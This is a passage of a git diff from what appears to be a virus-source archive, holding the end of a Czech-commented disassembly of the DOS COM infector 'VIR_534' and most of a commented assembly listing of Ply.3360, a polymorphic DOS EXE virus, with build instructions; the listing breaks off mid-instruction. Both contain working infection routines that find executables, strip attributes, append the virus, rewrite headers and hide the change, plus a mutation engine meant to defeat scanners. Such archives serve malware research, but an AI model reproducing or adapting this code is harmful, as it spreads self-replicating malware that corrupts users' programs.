cestu +156A:1156 E90D01 JMP 1266 ;ne - vystup pri jine chybe +;Pokud neni soubor *.COM nalezen v aktualnim podadresari, je nastavena +;cesta do hlavniho adresare. +156A:1159 83FDFF CMP BP,FFFF ;? hlavni adresar +156A:115C 7503 JNZ 1161 ;ne - nastavit cestu ASCIIZ +156A:115E E90501 JMP 1266 ;ano - vystup +156A:1161 4A DEC DX ;ASCIIZ "\filename.spec00" +156A:1162 BDFFFF MOV BP,FFFF ;hlavni adresar +156A:1165 EBDB JMP 1142 ;opakuj vyhledani + +;------------------------------------------------------------------------------ +; Kontrola datumu a delky vyhledaneho souboru *.COM. +; Priznak infikovaneho programu 13.mesic !!! +;------------------------------------------------------------------------------ +;Program nasel pozadovany soubor *.COM +;Kontroluje se datum vytvoreni a delka vyhledaneho programu. Pokud pozadavky +;nezodpovidaji, vyhleda se dalsi soubor v adresari. [BX] = zacatek DTA. + +;Pokud je v datumu vytvoreni souboru nasteven 13.mesic !!! - priznak viru, +;vyhleda se dalsi soubor v adresari. +156A:1167 8B4F18 MOV CX,[BX+18] ;datum vytvoreni souboru +156A:116A 81E1E001 AND CX,01E0 ;maska 0000 0001 1110 0000 + ; |---r--||-m-||-d--| +156A:116E 81F9A001 CMP CX,01A0 ;? 13.mesic - priznak viru +156A:1172 74D8 JZ 114C ;ano - hledej dalsi soubor +;Pokud delka vyhledaneho souboru je mensi 256 byte nebo je rovna, vetsi +;64000 byte, vyhleda se dalsi soubor v adresari. +156A:1174 817F1A00FA CMP Word Ptr [BX+1A],FA00 ;? delka souboru > 64000 +156A:1179 77D1 JA 114C ;ano - hledej dalsi soubor +156A:117B 817F1A0001 CMP Word Ptr [BX+1A],0100 ;? delka souboru < 256 +156A:1180 72CA JB 114C ;ano - hledej dalsi soubor + +;------------------------------------------------------------------------------ +;Presun specifikace a parametru vyhledaneho souboru z DTA do zap. VIRu_534. +;------------------------------------------------------------------------------ +;Vyhledan soubor *.COM, splnuje podminky delky programu a neobsahuje +;priznak viru - 13.mesic, splnuje pozadavek na atributy. +156A:1182 57 PUSH DI ;zacatek zapisniku 156A:1273 +156A:1183 8BF3 MOV SI,BX ;zacatek DTA 156A:129F +156A:1185 83C61E ADD SI,+1E ;zac.nazvu souboru T.COM v DTA +156A:1188 81C71400 ADD DI,0014 ;zacatek ASCIIZ v zapisniku +156A:118C 83FDFF CMP BP,FFFF ;? hlavni adresar +156A:118F 7503 JNZ 1194 ;ne +;Nastavit specifikaci ASCIIZ v zapisniku ve tvaru "\filename.spec00". +156A:1191 B05C MOV AL,5C ;'\' +156A:1193 AA STOSB ;ulozit '\' do ASCIIZ +;Nastavit specifikaci ASCIIZ v zapisniku ve tvaru "filename.spec00". +156A:1194 AC LODSB ;nacist byte [DS:SI] z DTA +156A:1195 AA STOSB ;ulozit byte [ES:DI] do zapis. +156A:1196 3C00 CMP AL,00 ;? konec ASCIIZ +156A:1198 75FA JNZ 1194 ;ne - presun cely nazev soub. +156A:119A 5F POP DI ;zacatek zapisniku + +;------------------------------------------------------------------------------ +; Zjistit atributy souboru - zrusit atribut RO. +;------------------------------------------------------------------------------ +;Zjistit atributy souboru [CX], [DS:DX] smernik na ASCIIZ ( \filename.spec00 ). +;Atributy odlozit, pozor - po rozsireni VIRu_534 nebudou souboru vraceny!! +156A:119B 8BD7 MOV DX,DI ;zacatek zapisniku 156A:1273 +156A:119D 81C21400 ADD DX,0014 ;[DS:DX] smernik na ASCIIZ +156A:11A1 B80043 MOV AX,4300 ;funkce zjisti atributy +156A:11A4 CD21 INT 21 ;sluzba DOSu +156A:11A6 898D2200 MOV [DI+0022],CX ;ulozit atributy souboru +;Zrusit [CX] atribut RO souboru, [DS:DX] smernik na ASCIIZ ( \filename.spec00 ) +156A:11AA 81E1FEFF AND CX,FFFE ;zrusit akt. atribut RO +156A:11AE 8BD7 MOV DX,DI ;zacatek zapisniku +156A:11B0 81C21400 ADD DX,0014 ;[DS:DX] smernik na ASCIIZ +156A:11B4 B80143 MOV AX,4301 ;funkce nastav atributy +156A:11B7 CD21 INT 21 ;sluzba DOSu + +;------------------------------------------------------------------------------ +; Otevrit soubor pro cteni a zapis. +;------------------------------------------------------------------------------ +;Otevrit soubor pro cteni a zapis. Pokud soubor nelze v tomto rezimu +;otevrit, zustane zrusen atribut RO a vystup pres opaveny T.COM. +156A:11B9 8BD7 MOV DX,DI ;zacatek zapisniku 156A:1273 +156A:11BB 81C21400 ADD DX,0014 ;[DS:DX] smernik na ASCIIZ +156A:11BF B8023D MOV AX,3D02 ;funkce otevri soub. pro R/W +156A:11C2 CD21 INT 21 ;sluzba DOSu +156A:11C4 7303 JNB 11C9 ;? ok - [AX] manip. souboru +156A:11C6 E99400 JMP 125D ;error - vystup + +;------------------------------------------------------------------------------ +; Zjistit cas a datum vytvoreni souboru. +;------------------------------------------------------------------------------ +;Cas a datum vytvoreni souboru odlozit do zapisniku. Po infikaci souboru +;bude cas souboru vracen a v datumu bude nastaven priznak viru. +156A:11C9 8BD8 MOV BX,AX ;[BX] manipulator souboru +156A:11CB B80057 MOV AX,5700 ;funkce vrat cas a datum +156A:11CE CD21 INT 21 ;sluzba DOSu +156A:11D0 898D2400 MOV [DI+0024],CX ;odlozit cas souboru +156A:11D4 89952600 MOV [DI+0026],DX ;odlozit datum souboru + +;------------------------------------------------------------------------------ +; Nacist ze zacatku souboru prvni 3 byte. +;------------------------------------------------------------------------------ +;Z otevreneho souboru [BX] - manipulator souboru, nacist prvni 3 byte [CX], +;tyto ulozit do bufferu [DS:DX] - pro obnovu infikovaneho programu. +;Pri chybe vystup pres opraveny program T.COM. V infikovanem souboru nastaven +;priznak VIRu_534 - 13.mesic, zrusen atribut RO. +156A:11D8 B43F MOV AH,3F ;funkce cti ze souboru +156A:11DA B90300 MOV CX,0003 ;pocet byte +156A:11DD 8BD7 MOV DX,DI ;[DS:DX] buffer 156A:1273 +156A:11DF 81C20000 ADD DX,0000 ;buffer - zac. zapisniku +156A:11E3 CD21 INT 21 ;sluzba DOSu +156A:11E5 7303 JNB 11EA ;? ok - pokracuj +156A:11E7 E95A00 JMP 1244 ;error - vystup +156A:11EA 3D0300 CMP AX,0003 ;? nactene 3 byte +156A:11ED 7555 JNZ 1244 ;ne - error vystup + +;------------------------------------------------------------------------------ +; Nastavit smernik na konec souboru, vypocet delky skoku. +;------------------------------------------------------------------------------ +;Nastavit smernik na konec souboru. Pri vystupu [DX:AX] nova poloha smerniku. +156A:11EF B80242 MOV AX,4202 ;funkce posun smernik +156A:11F2 B90000 MOV CX,0000 ;[CX:DX] byte od konce souboru +156A:11F5 8BD1 MOV DX,CX +156A:11F7 CD21 INT 21 ;sluzba DOSu +;Vypocet offset adresy skoku na vir. +;V tomto nasem pripade [AX] = 100E - delka programu T.COM. +;Adresa skoku se vypocita z delky programu T.COM - 3 byte (JMP offset VIR_534). +156A:11F9 2D0300 SUB AX,0003 ;offset adresy skoku 100B +156A:11FC 89850400 MOV [DI+0004],AX ;ulozit do zapisniku JMP [AX] + +;------------------------------------------------------------------------------ +; Zapis VIRu_534 na konec souboru. +;------------------------------------------------------------------------------ +;Pri chybe vystup pres opraveny program T.COM. V infikovanem souboru pripojen +;mrtvy VIR_534, nastaven priznak VIRu_534 - 13.mesic, zrusen atribut RO. +; +;Nastavit offset adresu zapisniku VIRu_534 dle skutecne delky infikovaneho +;programu do instrukce MOV SI,offset adresa zapisniku (zacatek). +156A:1200 B96501 MOV CX,0165 ;delka tela viru - po zapisnik +156A:1203 83FA00 CMP DX,+00 ;? nastaven smernik na konec +156A:1206 753C JNZ 1244 ;ne - vystup +;Vypocet pozice offset adresy zapisniku [DI] v instrukci MOV SI,offset adresa. +156A:1208 8BD7 MOV DX,DI ;zacatek zapisniku 156A:1273 +156A:120A 2BF9 SUB DI,CX ;- delka tela VIRu_534 CS:110E +156A:120C 83C702 ADD DI,+02 ;156A:1110 - pozice MOV SI,... +; [DI]---->| +;Vypocet offset adresy zacatku zapisniku dle skutecne delky infik. programu. +;Delka (T.COM - 3) + PSP + 3 (JMP vir_534) + telo VIRu_534 +; 100B + 100 + 3 + 165 = 1273H +156A:120F 050301 ADD AX,0103 ;100B+103= 110E - zac.VIRu_534 +156A:1212 03C1 ADD AX,CX ;110E+165= 1273 + telo +156A:1214 8905 MOV [DI],AX ;offset adresa zap.MOV SI,[AX] +;Zapis VIRu_534 na konec souboru. +156A:1216 B440 MOV AH,40 ;funkce zapis do souboru +156A:1218 8BFA MOV DI,DX ;zacatek zapisniku - odlozit +156A:121A 2BD1 SUB DX,CX ;[DS:DX] buffer - zac.VIRu_534 +156A:121C B91602 MOV CX,0216 ;delka celeho VIRu_534 +156A:121F CD21 INT 21 ;sluzba DOSu +156A:1221 7303 JNB 1226 ;? ok - pokracuj +156A:1223 E91E00 JMP 1244 ;error - vystup +156A:1226 3D1602 CMP AX,0216 ;? zapsany cely vir +156A:1229 7519 JNZ 1244 ;ne - error vystup + +;------------------------------------------------------------------------------ +; Nastavit smernik na zacatek souboru. +;------------------------------------------------------------------------------ +156A:122B B80042 MOV AX,4200 ;funkce nastav smernik +156A:122E B90000 MOV CX,0000 ;[CX:DX] byte od zac.souboru +156A:1231 8BD1 MOV DX,CX +156A:1233 CD21 INT 21 ;sluzba DOSu +156A:1235 720D JB 1244 ;? error - vystup + +;------------------------------------------------------------------------------ +; Zapis skoku na VIR_534 na zacatek souboru. +;------------------------------------------------------------------------------ +156A:1237 B440 MOV AH,40 ;funkce zapis do souboru +156A:1239 B90300 MOV CX,0003 ;pocet byte +156A:123C 8BD7 MOV DX,DI ;zacatek zapisniku 156A:1273 +156A:123E 81C20300 ADD DX,0003 ;buffer- JMP offset.adrs skoku +156A:1242 CD21 INT 21 ;sluzba DOSu + +;------------------------------------------------------------------------------ +; Vratit puvodni cas vytvoreni souboru. +; Nastavit priznak viru - 13.mesic !!!! +;------------------------------------------------------------------------------ +;Ze zapisniku VIRu_534 jsou vybrany puvodni hodnoty casu a datumu vytvoreni +;souboru, ktery byl infikovan. Cas je vracen v puvodni hodnote. Hodnota +;datumu je zmenena na 13.mesic, den a rok zustavaji bez zmeny. +156A:1244 8B8D2400 MOV CX,[DI+0024] ;puvodni cas souboru +156A:1248 8B952600 MOV DX,[DI+0026] ;puvodni datum souboru +156A:124C 81E21FFE AND DX,FE1F ;mesic 1111 1110 0001 1111 + ; |---r--||-m-||-d--| +156A:1250 81CAA001 OR DX,01A0 ;13 ! 0000 0001 1010 0000 +156A:1254 B80157 MOV AX,5701 ;funkce vrat cas a datum +156A:1257 CD21 INT 21 ;sluzba DOSu + +;------------------------------------------------------------------------------ +; Uzavrit soubor. +;------------------------------------------------------------------------------ +156A:1259 B43E MOV AH,3E ;funkce uzavrit soubor +156A:125B CD21 INT 21 ;sluzba DOSu + +;------------------------------------------------------------------------------ +; Atributy souboru. +;------------------------------------------------------------------------------ +;Tato cast programu nema smysl. Pokud by program obsahoval instrukci +;MOV AX,4301 -> budou vraceny puvodni atributy souboru. +156A:125D B80043 MOV AX,4300 ;funkce zjisti atributy +156A:1260 8B8D2200 MOV CX,[DI+0022] ;vybrat puvodni atributy +156A:1264 CD21 INT 21 ;sluzba DOSu + +;------------------------------------------------------------------------------ +; Nastavit adresu DTA pro prenosy z disku. +;------------------------------------------------------------------------------ +;Vratit implicitni nastaveni DTA - offset 80H v PSP +156A:1266 BA8000 MOV DX,0080 ;DS:DX adresa DTA +156A:1269 B41A MOV AH,1A ;sluzba nastav DTA +156A:126B CD21 INT 21 ;funkce DOSu + +;------------------------------------------------------------------------------ +; Ukoncit cinnost VIRu_534 - start puvodniho programu T.COM +;------------------------------------------------------------------------------ +;Vystup z programu VIRu_534 - start puvodniho obnoveneho programu T.COM. +;Na vrchol STACKu je odlozena navratova adresa z RET VIRu_534 (0100). +;Po vykonani instrukce RET program pokracuje od adresy CS:0100 - start +;obnoveneho programu T.COM. +156A:126D 58 POP AX ;obnovit obsah +156A:126E BF0001 MOV DI,0100 ;adresa zacatku T.COM +156A:1271 57 PUSH DI ;odlozit do STACKu +156A:1272 C3 RET ;pokracovat v prog. T.COM + +;------------------------------------------------------------------------------ +; Struktura zapisniku VIRu_534. +;------------------------------------------------------------------------------ +156A:1273 0E1FBA ;+0 puvodni 3 byte T.COM +156A:1276 E90B10 ;+3 JMP offset adresa - skok na vir dle delky + ; infikovaneho programu T.COM +;Specifikace a parametry souboru na ktery se pripoji VIR_534 +156A:1279 \????????.COM00;+6 specifikace souboru ASCIIZ pro hl.adresar +156A:127A ????????.COM00 ;+7 specifikace souboru ASCIIZ pro akt.adresar +156A:1287 T.COM00 ;+14 nazev vyhledaneho souboru ASCIIZ (\T.COM) +156A:1295 2000 ;+22 atribut vyhledaneho souboru - zrusen RO +156A:1297 6507 ;+24 cas vyhledaneho souboru +156A:1299 2100 ;+26 datum vyhledaneho souboru +156A:129B 0000 +156A:129D 0000 + +;------------------------------------------------------------------------------ +; DTA pro program VIRu_534. +;------------------------------------------------------------------------------ +;15H byte pro dalsi cteni souboru +156A:129F 01 +156A:12A1 ????????COM +156A:12AB 0304 +156A:12AD 0000 +156A:12AF 0000 +156A:12B1 0000 +156A:12B3 00 +;Oblast [DTA + 15H] - parametry nacteneho souboru +156A:12B4 20 ;+15 atributy souboru +156A:12B5 6507 ;+16 cas vytvoreni souboru +156A:12B7 2100 ;+18 datum vytvoreni souboru +156A:12B9 0E10 ;+1A velikost souboru - nizsi cast +156A:12BB 0000 ;+1C velikost souboru - vyssi cast +156A:12BD T.COM00 ;+1E nazev souboru.typ (mezery vypusteny) + +156A:12C8 ..osoftyright Microsoftyright Microsoftyright Microsofty +156A:1300 right Microsoftyright Microsoft +156A:1320 1988 + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.ply_3360.asm b/MSDOS/Virus.MSDOS.Unknown.ply_3360.asm new file mode 100644 index 00000000..ed5a9ac7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ply_3360.asm @@ -0,0 +1,836 @@ +comment * + Ply.3360 + Disassembly by + Darkman/VLAD + + Ply.3360 is a 3360 bytes parasitic direct action EXE virus. Infects every + file in current directory, when executed, by appending the virus to the + infected file. Ply.3360 is polymorphic in file using its internal + polymorphic engine. + + To compile Ply.3360 with Turbo Assembler v 4.0 type: + TASM /m PLY_3360.ASM + TLINK /t /x PLY_3360.OBJ +* + +.model tiny +.code + org 100h ; Origin of Ply.3360 + +code_begin: +delta_offset equ $+01h ; Delta offset + mov bp,100h ; BP = delta offset +poly_begin: + mov ax,cs ; AX = code segment + nop + mov ds,ax ; DS = " " + nop + mov es,ax ; ES = " " + nop + + mov ax,100h ; AX = offset of beginning of code + sub bp,ax ; Subtract offset of beginning of ... + nop + + sti ; Set interrupt-enable flag + nop + nop + cld ; Clear direction flag + nop + nop + + lea si,code_begin ; SI = offset of code_begin + add si,bp ; Add delta offset + nop + mov cx,(poly_end-poly_begin)/03h +poly_loop: + in al,40h ; AL = 8-bit random number + nop + and al,00000111b ; AL = random number between zero ... + nop + + push cx ; Save CX at stack + nop + nop + push si ; Save SI at stack + nop + nop + + cmp al,00h ; Prepend a NOP to the opcode? + nop + jne test_append ; Not equal? Jump to test_append + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + je dont_poly ; Equal? Jump to dont_poly + nop + + mov al,[si+02h] ; AL = third byte of three-byte block + cmp al,90h ; NOP (opcode 90h) + nop + jne dont_poly ; Not equal? Jump to dont_poly + nop + + mov ax,[si] ; AX = first word of three-bytes b... + nop + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx+01h],ax ; Store first word of three-bytes ... + + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je dec_imm8 ; Equal? Jump to dec_imm8 + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + jne prepend_nop ; Not equal? Jump to prepend_nop + nop +dec_imm8: + dec byte ptr [bx+02h] ; Decrease 8-bit immediate +prepend_nop: + mov al,90h ; NOP (opcode 90h) + nop + mov [bx],al ; Prepend a NOP to the opcode + nop + + mov di,si ; DI = offset of current three-byt... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +dont_poly: + jmp test_loop +test_append: + cmp al,01h ; Append a NOP to the opcode? + nop + jne test_create ; Not equal? Jump to test_create + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + jne dont_poly_ ; Not equal? Jump to dont_poly_ + nop + + mov ax,[si+01h] ; AX = second word of three-bytes ... + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx],ax ; Store second word of three-bytes... + nop + + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je dec_imm8_ ; Equal? Jump to dec_imm8_ + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + jne append_nop ; Not equal? Jump to append_nop + nop +dec_imm8_: + inc byte ptr [bx+01h] ; Decrease 8-bit immediate +append_nop: + mov al,90h ; NOP (opcode 90h) + nop + mov [bx+02h],al ; Append a NOP to the opcode + + mov di,si ; DI = offset of current three-byt... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +dont_poly_: + jmp test_loop +test_create: + cmp al,02h ; Create a CALL imm16 to the opcode? + nop + jne delete_call ; Not equal? Jump to delete_call + nop + + mov ax,[si] ; AX = first word of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + jne create_call ; Not equal? Jump to create_call + nop + + mov al,ah ; AL = second byte of three-bytes ... + nop +create_call: + cmp al,0e9h ; JMP imm16 (opcode 0e9h) + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,0e8h ; CALL imm16 (opcode 0e8h) + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,0c3h ; RET (opcode 0c3h) + nop + je call_exit ; Equal? Jump to call_exit + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,50h ; PUSH reg16/POP reg16? + nop + je call_exit ; Equal? Jump to call_exit + nop + + call get_poly_off + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,0c3h ; RET (opcode 0c3h) + nop + stosb ; Store RET + nop + nop + + in al,40h ; AL = 8-bit random number + nop + stosb ; Store 8-bit random number + nop + nop + + in al,40h ; AL = 8-bit random number + nop + stosb ; Store 8-bit random number + nop + nop + + mov al,0e8h ; CALL imm16 (opcode 0e8h) + nop + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx],al ; Create a CALL imm16 to the opcode + nop + + mov ax,di ; AX = random offset of polymorphi... + nop + sub ax,si ; Subtract offset of current three... + nop + sub ax,06h ; Subtract size of six-bytes block + mov [bx+01h],ax ; Store 16-bit immediate + + mov di,si ; SI = offset of current three-byt... + nop + mov ax,03h ; AX = size of opcode CALL imm16 + sub di,ax ; Subtract size of opcode CALL imm... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +call_exit: + jmp test_loop +delete_call: + cmp al,03h ; Delete previously created CALL i... + nop + jne test_create_ ; Not equal? Jump to test_create_ + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,0e8h ; CALL imm16 (opcode 0e8h)? + nop + jne call_exit_ ; Not equal? Jump to call_exit_ + nop + + mov ax,[si+01h] ; AX = 16-bit immediate + add ax,03h ; Add size of opcode CALL imm16 + + mov di,si ; DI = offset of current three-byt... + nop + add si,ax ; Add 16-bit immediate + nop + lea bx,poly_blocks ; BX = offset of poly_blocks + add bx,bp ; Add delta offset + nop + cmp si,bx ; 16-bit immediate within polymorp... + nop + jb call_exit_ ; Below? Jump to call_exit_ + nop + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,90h ; NOP (opcode 90h) + nop + mov ah,al ; NOP; NOP (opcode 90h,90h) + nop + mov [si-03h],ax ; Store NOP; NOP + + in al,40h ; AL = 8-bit random number + nop + mov [si-01h],al ; Store 8-bit random number + + in al,40h ; AL = 8-bit random number + nop + mov [si],al ; Store 8-bit random number + nop +call_exit_: + jmp test_loop +test_create_: + cmp al,04h ; Create a JMP imm16 to the opcode? + nop + jne delete_jmp ; Not equal? Jump to delete_jmp + nop + + mov ax,[si] ; AX = first word of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + jne create_jmp ; Not equal? Jump to create_jmp + nop + + mov al,ah ; AL = second byte of three-bytes ... + nop +create_jmp: + cmp al,0e9h ; JMP imm16 (opcode 0e9h)? + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + cmp al,0e8h ; CALL imm16 (opcode 0e8h) + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + + call get_poly_off + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,0e9h ; JMP imm16 (opcode 0e9h) + nop + stosb ; Store JMP imm16 + nop + nop + + mov ax,di ; AX = random offset of polymorphi... + nop + sub ax,si ; Subtract offset of current three... + nop + neg ax ; Negate AX + nop + sub ax,02h ; Subtract two from 16-bit immediate + stosw ; Store 16-bit immediate + nop + nop + + mov al,0e9h ; JMP imm16 (opcode 0e9h) + nop + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx],al ; Create a JMP imm16 to the opcode + nop + + mov ax,di ; AX = random offset of polymorphi... + nop + sub ax,si ; Subtract offset of current three... + nop + sub ax,06h ; Subtract size of six-bytes block + mov [bx+01h],ax ; Store 16-bit immediate + + mov di,si ; SI = offset of current three-byt... + nop + mov ax,03h ; AX = size of opcode CALL imm16 + sub di,ax ; Subtract size of opcode CALL imm... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +jmp_exit: + jmp test_loop + nop +delete_jmp: + cmp al,05h ; Delete previously created JMP im... + nop + jne test_loop ; Not equal? Jump to test_loop + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,0e9h ; JMP imm16 (opcode 0e9h)? + nop + jne jmp_exit_ ; Not equal? Jump to jmp_exit_ + nop + + mov ax,[si+01h] ; AX = 16-bit immediate + add ax,03h ; Add size of opcode CALL imm16 + + mov di,si ; DI = offset of current three-byt... + nop + add si,ax ; Add 16-bit immediate + nop + lea bx,poly_blocks ; BX = offset of poly_blocks + add bx,bp ; Add delta offset + nop + cmp si,bx ; 16-bit immediate within polymorp... + nop + jb jmp_exit_ ; Below? Jump to jmp_exit_ + nop + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,90h ; NOP (opcode 90h) + nop + mov ah,al ; NOP; NOP (opcode 90h,90h) + nop + mov [si-03h],ax ; Store NOP; NOP + + in al,40h ; AL = 8-bit random number + nop + mov [si-01h],al ; Store 8-bit random number + + in al,40h ; AL = 8-bit random number + nop + mov [si],al ; Store 8-bit random number + nop +jmp_exit_: + jmp test_loop + nop +test_loop: + pop si ; Load SI from stack + nop + nop + pop cx ; Load CX from stack + nop + nop + + mov ax,03h ; AX = size of block + add si,ax ; SI = offset of next three-byte b... + nop + + dec cx ; Decrease CX + nop + nop + jz poly_exit ; Zero? Jump to poly_exit + nop + + jmp poly_loop +poly_exit: + jmp prepare_exit + nop + +get_poly_off proc near ; Get random offset of polymorphic... + in al,40h ; AL = 8-bit random number + nop + mov ah,al ; AH = " " " + nop + in al,40h ; AL = 8-bit random number + nop + mov di,ax ; DI = 16-bit random number + nop + mov ax,(poly_end-poly_begin)/03h +get_rnd_num: + sub di,ax ; Subtract number of polymorphic b... + nop + cmp di,ax ; Too large a 16-bit random number? + nop + jae get_rnd_num ; Above or equal? Jump to get_rnd_num + nop + + mov ax,di ; AX = 16-bit random number within... + nop + + add di,ax ; Add number of polymorphic blocks + nop + add di,ax ; " " " " " + nop + add di,ax ; " " " " " + nop + add di,ax ; " " " " " + nop + add di,ax ; " " " " " + nop + + lea ax,poly_blocks ; AX = offset of poly_blocks + add di,ax ; Add offset of poly_blocks to ran... + nop + add di,bp ; Add delta offset + nop + + + mov al,90h ; NOP (opcode 90h) + nop + mov ah,al ; NOP; NOP (opcode 90h,90h) + nop + cmp [di],ax ; Offset already in use? + nop + jne get_poly_off ; Not equal? Jump to get_poly_off + nop + + ret ; Return! + nop + nop + endp +prepare_exit: + lea si,file_header ; SI = offset of file_header + add si,bp ; Add delta offset + nop + lea di,instruct_ptr ; SI = offset of instruct_ptr + add di,bp ; Add delta offset + nop + + mov ax,[si+14h] ; AX = instruction pointer + stosw ; Store instruction pointer + nop + nop + mov ax,[si+16h] ; AX = code segment + stosw ; Store code segment + nop + nop + mov ax,[si+0eh] ; AX = stack segment + stosw ; Store stack segment + nop + nop + mov ax,[si+10h] ; AX = stack pointer + stosw ; Store stack pointer + nop + nop + + mov ah,1ah ; Set disk transfer area address + nop + lea dx,dta ; DX = offset of dta + add dx,bp ; Add delta offset + nop + mov di,dx ; DI = offset of dta + nop + int 21h + nop + + mov ah,4eh ; Find first matching file + nop + mov cx,0000000000000111b + lea dx,file_specifi ; DX = offset of file_specifi + add dx,bp ; Add delta offset + nop +find_next: + int 21h + nop + jnc open_file ; No error? Jump to open_file + nop + + jmp virus_exit +open_file: + mov ax,3d00h ; Open file (read) + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + xchg bx,ax ; BX = file handle + nop + nop + + mov ah,3fh ; Read from file + nop + mov dx,si ; DX = offset of file_header + nop + mov cx,1ah ; Read twenty-six bytes + int 21h + nop + + mov ah,3eh ; Close file + nop + int 21h + nop + + mov ax,'ZM' ; EXE signature + cmp [si],ax ; Found EXE signature? + nop + je examine_file ; Equal? Jump to examine_file + nop + + xchg ah,al ; Exchange EXE signature + nop + cmp [si],ax ; Found EXE signature? + nop + je examine_file ; Equal? Jump to examine_file + nop +jmp_find_nxt: + mov ah,4fh ; Find next matching file + nop + + jmp find_next + nop +examine_file: + mov ax,2020h + cmp [si+12h],ax ; Already infected? + je jmp_find_nxt ; Equal? Jump to jmp_find_nxt + nop + + mov ax,4301h ; Set file attributes + xor cx,cx ; CX = new file attributes + nop + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,3d02h ; Open file (read/write) + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + xchg bx,ax ; BX = file handle + nop + nop + + mov ax,4202h ; Set current file position (EOF) + xor cx,cx ; Zero CX + nop + xor dx,dx ; Zero DX + nop + int 21h + nop + + mov ah,40h ; Write to file + nop + mov cx,(code_end-code_begin) + lea dx,code_begin ; DX = offset of code_begin + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,[si+08h] ; AX = header size in paragraphs + mov cl,04h ; Multiply by paragraphs + nop + shl ax,cl ; AX = header size + nop + push bx ; Save BX at stack + nop + nop + xchg ax,bx ; BX = header size + nop + nop + + mov ax,[di+1ah] ; AX = low-order word of filesize + mov dx,[di+1ch] ; DX = high-order word of filesize + push ax ; Save AX at stack + nop + nop + push dx ; Save DX at stack + nop + nop + + sub ax,bx ; Subtract header size from filesize + nop + sbb dx,00h ; Convert to 32-bit + mov cx,10h + div cx ; Divide by paragraphs + nop + mov [si+14h],dx ; Store instruction pointer + mov [si+16h],ax ; Store code segment + + lea bx,delta_offset ; BX = offset of delta_offset + add bx,bp ; Add delta offset + nop + mov [bx],dx ; Store delta offset + nop + + inc ax ; Increase AX + nop + nop + mov [si+0eh],ax ; Store stack segment + + mov ax,(code_end-code_begin+100h) + add dx,ax ; DX = stack pointer + nop + mov [si+10h],dx ; Store stack pointer + + mov ax,2020h ; AX = infection mark + mov [si+12h],ax ; Store infection mark + + pop dx ; Load DX from stack + nop + nop + pop ax ; Load AX from stack + nop + nop + add ax,(code_end-code_begin) + adc dx,00h ; Convert to 32-bit + + mov cl,09h + nop + push ax ; Save AX at stack + nop + nop + shr ax,cl ; Multiply by pages + nop + ror dx,cl ; " " " + nop + stc ; Set carry flag + nop + nop + adc dx,ax ; DX = total number of 512-bytes p... + nop + pop ax ; Load AX from stack + nop + nop + and ah,00000001b + mov [si+04h],dx ; Store totalt number of 512-bytes... + mov [si+02h],ax ; Number of bytes in last 512-byte... + pop bx ; Load BX from stack + nop + nop + + mov ax,4201h ; Set current file position (CFP) + mov cx,-01h + mov dx,-(code_end-delta_offset) + int 21h + nop + + mov ah,40h ; Write to file + nop + mov cx,02h ; Write two bytes + lea dx,delta_offset ; DX = offset of delta_offset + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,4200h ; Set current file position (SOF) + xor cx,cx ; Zero CX + nop + xor dx,dx ; Zero DX + nop + int 21h + nop + + mov ah,40h ; Write to file + nop + mov cx,1ah ; Write twenty-six bytes + mov dx,si ; DX = offset of file_header + nop + int 21h + nop + + mov ax,5701h ; Set file's date and time + mov cx,[di+16h] ; CX = file time + mov dx,[di+18h] ; DX = file date + int 21h + nop + + mov ah,3eh ; Close file + nop + int 21h + nop + + mov ax,4301h ; Set file attributes + mov ch,00h ; 